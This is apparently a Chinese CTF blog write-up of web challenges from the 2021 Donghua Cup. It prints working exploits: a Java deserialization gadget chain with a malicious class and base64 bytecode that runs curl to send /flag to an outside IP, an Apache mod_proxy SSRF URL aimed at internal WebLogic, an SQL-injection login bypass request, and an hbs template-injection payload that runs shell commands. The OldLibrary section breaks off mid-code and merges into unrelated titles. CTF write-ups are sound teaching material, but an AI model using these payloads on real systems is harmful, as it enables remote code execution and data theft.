[2021东华杯]Web Writeup
Posted bfengj
tags:
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EzGadget
给了源码，IDEA打开看看，有个反序列化的点：
@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
}
return "welcome bro.";
}
ToStringBean这里：
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ezgame.ctf.tools;
import java.io.Serializable;
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public ToStringBean() {
}
public String toString() {
ToStringBean toStringBean = new ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object var3 = null;
try {
var3 = clazz.newInstance();
} catch (InstantiationException var5) {
var5.printStackTrace();
} catch (IllegalAccessException var6) {
var6.printStackTrace();
}
return "enjoy it.";
}
}
toString()这里调用了defineClass能动态加载字节码，但是得想办法调用这个toString。
想到CC5的利用中的BadAttributeValueExpException反序列的时候利用到了toString，所以构造一波即可。
恶意类，我这里把flag外带出来：
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet
{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Evil() {
try {
String[] command = { "/bin/sh", "-c", "curl http://121.5.169.223:39767/ -F file=@/flag" };
Runtime.getRuntime().exec(command);
//Runtime.getRuntime().exec("sh /tmp/feng");
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
root@VM-0-6-ubuntu:~/java/evil# cat Evil.class|base64
yv66vgAAADQALwoACwAcBwAdCAAeCAAfCAAgCgAhACIKACEAIwcAJAoACAAlBwAmBwAnAQAJdHJh
bnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tM
Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I
YW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgBAKYoTGNv
bS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2Fw
YWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+
AQADKClWAQANU3RhY2tNYXBUYWJsZQcAJgcAJAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5n
OylWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAEwAUAQAQamF2YS9sYW5nL1N0cmluZwEABy9i
aW4vc2gBAAItYwEAL2N1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk3NjcvIC1GIGZpbGU9QC9m
bGFnBwApDAAqACsMACwALQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAC4AFAEABEV2aWwBAEBjb20v
c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5z
bGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj
ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1
bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsB
AA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAQAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEA
DwAAAAYAAQAAAAwAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEA
AAARABAAAAAEAAEAEQABABMAFAABAA4AAAB3AAQAAgAAACkqtwABBr0AAlkDEgNTWQQSBFNZBRIF
U0y4AAYrtgAHV6cACEwrtgAJsQABAAQAIAAjAAgAAgAPAAAAHgAHAAAAEgAEABQAGAAVACAAGgAj
ABgAJAAZACgAGwAVAAAAEAAC/wAjAAEHABYAAQcAFwQACQAYABkAAQAOAAAAGQAAAAEAAAABsQAA
AAEADwAAAAYAAQAAAB4AAQAaAAAAAgAb
然后构造一波POC：
import com.ezgame.ctf.tools.ToStringBean;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception{
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
Field field = clazz.getDeclaredField("val");
field.setAccessible(true);
ToStringBean toStringBean = new ToStringBean();
field.set(badAttributeValueExpException,toStringBean);
byte[] classByte = Base64.getDecoder().decode("yv66vgAAADQALwoACwAcBwAdCAAeCAAfCAAgCgAhACIKACEAIwcAJAoACAAlBwAmBwAnAQAJdHJh" +
"bnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tM" +
"Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
"YW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgBAKYoTGNv" +
"bS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2Fw" +
"YWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+" +
"AQADKClWAQANU3RhY2tNYXBUYWJsZQcAJgcAJAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5n" +
"OylWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAEwAUAQAQamF2YS9sYW5nL1N0cmluZwEABy9i" +
"aW4vc2gBAAItYwEAL2N1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk3NjcvIC1GIGZpbGU9QC9m" +
"bGFnBwApDAAqACsMACwALQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAC4AFAEABEV2aWwBAEBjb20v" +
"c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5z" +
"bGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
"ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1" +
"bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsB" +
"AA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAQAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEA" +
"DwAAAAYAAQAAAAwAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEA" +
"AAARABAAAAAEAAEAEQABABMAFAABAA4AAAB3AAQAAgAAACkqtwABBr0AAlkDEgNTWQQSBFNZBRIF" +
"U0y4AAYrtgAHV6cACEwrtgAJsQABAAQAIAAjAAgAAgAPAAAAHgAHAAAAEgAEABQAGAAVACAAGgAj" +
"ABgAJAAZACgAGwAVAAAAEAAC/wAjAAEHABYAAQcAFwQACQAYABkAAQAOAAAAGQAAAAEAAAABsQAA" +
"AAEADwAAAAYAAQAAAB4AAQAaAAAAAgAb");
clazz = Class.forName("com.ezgame.ctf.tools.ToStringBean");
field = clazz.getDeclaredField("ClassByte");
field.setAccessible(true);
field.set(toStringBean,classByte);
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(bout);
oout.writeUTF("gadgets");
oout.writeInt(2021);
oout.writeObject(badAttributeValueExpException);
byte[] bytes = bout.toByteArray();
byte[] encode = Base64.getEncoder().encode(bytes);
System.out.println(new String(encode));
}
}
打：
得到flag：
apacheprOxy
吃了个饭就打通了。
参考文章：https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html
SSRF打内网的weblogic，就是这环境贼垃圾，死活打不通，多打几次就出了：
http://47.104.181.226:7410/?unix:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |http://172.24.0.2:7001/
flag还是拿curl外带出来：
curl http://121.5.169.223:39656/ -F file=@/flag
而且串payload，我和学长那边都nc收到别人的payload。可能运气比较好就出了，拿了一血：
eznode
一血。
首先是个登录：
router.post('/', async function (req, res, next) {
let username = req.body.username;
let password = req.body.password;
if (check(username) && check(password)) {
let sql = `select * from users where username='${username}' and password = '${password}'`;
const result = await select(sql)
.then(close())
.catch(err => { console.log(err); });
// console.log(result);
if(result){
if (result.username == username && password == result.password) {
res.cookie('token', result, { signed: true });
res.send("yes");
} else {
res.send("username or password error")
}
} else{
res.send('no')
}
} else {
res.send("Fak OFF HACKER");
}
});
``check`这个waf很容易绕了，拿数组绕。
然后就是这个：
if (result.username == username && password == result.password) {
第五空间考的了，直接拿第五空间的payload拿过来改一改：
POST / HTTP/1.1
Host: eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888
Content-Length: 389
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888
Referer: http://eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: __jsluid_h=0ac3650127bce0646f3b72bc382255da
Connection: close
username[]=admin&password[]='%2F**%2Funion%2F**%2FSELECT%2F**%2F'admin'%2CREPLACE(REPLACE('%22%2F**%2Funion%2F**%2FSELECT%2F**%2F%22admin%22%2CREPLACE(REPLACE(%22%3F%22%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C%22%3F%22)%23'%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C'%22%2F**%2Funion%2F**%2FSELECT%2F**%2F%22admin%22%2CREPLACE(REPLACE(%22%3F%22%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C%22%3F%22)%23')%23
登录成功后有2个能干的：
router.post('/admin', checkLogin, function (req, res, next) {
var name = req.body.name ? req.body.name : "admin";
res.render('admin', name)
});
// 还未上线..., checkLogin
router.post('/upload', checkLogin, upload.any(), function (req, res, next) {
fs.readFile(req.files[0].path, function (err, data) {
if (err) {
console.log(err);
} else {
response = {
message: 'File uploaded successfully',
filename: req.files[0].path
};
res.end(JSON.stringify(response));
}
});
})
文件上传是这样处理：
const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, './upload_tmp')
},
filename: function (req, file, cb) {
cb(null, Date.now()+'.jpg')
}
})
没啥用。（是我错了）
看一下package.json，一个一个查漏洞：
{
"name": "app",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "node ./bin/www",
"dev": "nodemon index.js -e js"
},
"dependencies": {
"cookie-parser": "~1.4.4",
"crypto": "^1.0.1",
"debug": "~2.6.9",
"express": "~4.16.1",
"hbs": "^4.0.1",
"http-errors": "~1.6.3",
"morgan": "~1.9.1",
"multer": "^1.4.3",
"mysql": "^2.18.1",
"path": "^0.12.7",
"sequelize": "^6.7.0"
}
}
查hbs的模板渲染的时候，查到了一个CVE-2021-32822：
https://securitylab.github.com/advisories/GHSL-2021-020-pillarjs-hbs/
本来以为是个任意文件的读取：
读/flag的时候发现读的文件必须要有个后缀，不然就自动加上.hbs：
然后想到了，这应该是解析模板文件的，利用上传功能，就可以实现模板渲染rce。
查一下hbs的模板渲染rce：
https://xz.aliyun.com/t/4695
写个curl外带的POC：
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return global.process.mainModule.constructor._load('child_process').exec('curl http://121.5.169.223:39767/ -F file=@/flag')"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
传过去：
再解析这个模板文件：
带出flag：
OldLibrary
一道Go。先是登录和注册的功能，后续的功能利用有2种限制，一个是localhost一个是admin：
func AdminCheckMiddleWare() gin.HandlerFunc { // You can't be administrator
return func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("uname") == nil {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(2002021年全国大学生网络安全邀请赛暨第七届“东华杯“上海市大学生网络安全大赛Writeup
2021年大学生网络安全邀请赛暨第七届上海市大学生网络安全大赛“东华杯”Misc（全）-Writeup
“东华杯”2021年大学生网络安全邀请赛 暨第七届上海市大学生网络安全大赛线上赛MISC-Writeup